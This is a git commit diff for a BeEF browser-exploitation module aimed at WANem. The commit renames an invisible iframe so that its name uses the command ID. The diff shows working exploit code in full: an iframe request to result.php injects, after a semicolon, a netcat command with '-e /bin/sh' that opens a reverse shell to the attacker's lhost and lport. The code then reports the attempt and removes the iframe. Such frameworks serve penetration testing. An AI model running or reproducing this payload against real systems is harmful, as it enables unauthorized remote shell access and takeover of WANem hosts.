Use command_id for iframe name

This commit is contained in:
Brendan Coles
2014-11-30 15:41:57 +00:00
parent faf1884a4c
commit ec1db7233d
2 changed files with 6 additions and 6 deletions

View File

@@ -10,13 +10,13 @@ beef.execute(function() {
var lhost = '<%= @lhost %>';
var lport = '<%= @lport %>';
var wanem_iframe = beef.dom.createInvisibleIframe();
wanem_iframe.setAttribute('src', 'http://'+rhost+':'+rport+'/WANem/result.php?pc=127.0.0.1;/UNIONFS/home/perc/dosu%20{nc,'+lhost+','+lport+',-e,/bin/sh}%26');
var wanem_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
wanem_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+':'+rport+'/WANem/result.php?pc=127.0.0.1;/UNIONFS/home/perc/dosu%20{nc,'+lhost+','+lport+',-e,/bin/sh}%26');
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(wanem_iframe);
document.body.removeChild(wanem_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", 15000);